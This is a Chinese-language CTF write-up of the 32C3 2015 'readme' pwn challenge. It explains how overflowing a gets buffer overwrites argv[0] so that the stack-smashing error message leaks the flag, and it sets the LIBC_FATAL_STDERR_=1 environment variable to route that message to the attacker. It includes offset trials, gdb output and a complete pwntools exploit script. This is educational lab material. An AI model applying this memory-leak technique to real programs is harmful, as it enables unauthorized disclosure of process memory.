您的位置:首页 > 其它

32C3-CTF README

2017-05-30 19:45 1096 查看
本篇文章还有下面一篇文章要介绍CTF中另一种栈溢出的应用:基于报错类型的栈保护.文件地址:https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200

什么叫做基于报错类型的栈保护?

答:就是在程序出现栈溢出的时候,出现错误提示并将程序的名称显现出来.类似:

./test $(python -c 'print "A"*50')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./test terminated
Aborted (core dumped)
将程序名test显示了出来


下面介绍一下如何使用这个漏洞.还是老样子,拿实例说话.

对该程序进行分析:

int sub_4007E0()
{
__int64 v0; // rax@1
__int64 v1; // rbx@2
int v2;     // eax@3
__int64 v4; // [sp+0h] [bp-128h]@1
__int64 v5; // [sp+108h] [bp-20h]@1
v5 = *MK_FP(__FS__, 40LL);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
LODWORD(v0) = _IO_gets(&v4);
if ( !v0 )
LABEL_9:
_exit(1);
v1 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v2 = _IO_getc(stdin);
if ( v2 == -1 )
goto LABEL_9;
if ( v2 == 10 )
break;
byte_600D20[v1++] = v2;
if ( v1 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v1 + 6294816LL), 0, (unsigned int)(32 - v1));
LABEL_8:
puts("Thank you, bye!");
return *MK_FP(__FS__, 40LL) ^ v5;
}


flag就在这个程序中,只不过这个flag不是我们下载程序中的flag.主要程序就这一个函数,从这个函数我们也可以看出程序有canary保护.

跑起来:

./readme.bin
Hello!
What's your name? bill
Nice to meet you, bill.
Please overwrite the flag: flag
Thank you, bye!


最后可以发现:overwrite the flag的时候,不论输入什么程序都退出来.

从函数中我们可以发现:

LODWORD(v0) = _IO_gets(&v4);//输入到地址中
v2 = _IO_getc(stdin);    //输入到标准输入流中


该程序的溢出点在第一次输入.当我们在name处输入过多的字符的时候,会出现栈溢出的情况.

python -c 'print "A"*400+"\n"+"hello"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)


此时显示出来了程序名,触发了保护机制.

保护机制是如何工作的呢?

一般呢,该程序在工作时,程序会随机生成一个值,将该值分别放在两个位置.一个是在gs段中,另一个是在当前函数的栈帧中.当输入过多的字符将这个随机值覆盖了之后,程序在离开函数的时候会进行校验,这个随机值是否发生改变.如果发生改变,则触发 ___stack_chk_fail函数.

引一段老外的wp:

However, the stack smashing protection Fortify suffers from an infoleak: If we can overwrite the program name pointer __libc_argv[0], which can be seen in the error message above, then we can leak memory data.

大致意思就是:FortifySource保护会泄漏内存信息,如果我们能够覆写__libc_argv[0],我们就能够泄漏一些内存信息

而本程序就是Fortify Source保护.

溢出距离怎么找?

这个我给出两种方法:

URL:https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200,这个是本题的英文讲解,还算通俗易懂.评价:不是通用的方法,是一个巧方法.

就是一个一个试,其实也试不了几次就出来了.

python -c 'print "A"*400+"\n"+"hello"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)
python -c 'print "A"*500+"\n"+"hello"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)
......
python -c 'print "A"*536+"\n"+"hello"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***:  terminated
Aborted (core dumped)


原则:设距离为n,n-1个A时,程序名出现;n个A时,程序名无.

接下来就是要填充flag的地址了.

通过gdb发现flag在本程序中有两处,这两处是只读的变量,地址不会改变:

find "32C3_TheServerHasTheFlagHere..."
Searching for '32C3_TheServerHasTheFlagHere...' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")


但是我们填充第一处.如果填充第二处,则0x600d20处的内容会被第二次的输入覆盖掉.输出不了flag.

还有一个问题是:这个错误提示只会显示在远端,不会返回到我们这端.

必须设置如下环境变量:LIBC_FATAL_STDERR_=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。

该参数的设置正好用到了我们的第2个输入字符串str(看来题目没有任何冗余呀),即将“LIBC_FATAL_STDERR_=1”作为str输入进去,并将user字符串的溢出长度再增加16字节,如图所示:

上图中,蓝框以下部分都是环境变量,正好紧挨着上面红框中的argv[0]。也就是说,在通过溢出将上图中红框内的argv[0]指针指向0x400D20后,我们还需将蓝框中的地址覆盖为0x600D20,该地址保存着我们输入的字符串str:LIBC_FATAL_STDERR_=1,巧妙地修改了环境变量。

最终的exp.py:

from pwn import *

addr_ow_flag = 0x600d20
addr_flag = 0x400d20
#H,P = 'localhost', 6666
r = process('./readme.bin')
#r = remote(H,P)
junk  = r.recvuntil("What's your name? ")
exploit  = "A"*0x218
exploit += p64(addr_flag)
exploit += p64(0)
exploit += p64(addr_ow_flag)
r.sendline(exploit)
junk += r.recvuntil("Please overwrite the flag: ")
exploit  = "LIBC_FATAL_STDERR_=1"
r.sendline(exploit)
junk += r.recvall()
print junk
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  CTF PWN Stack 溢出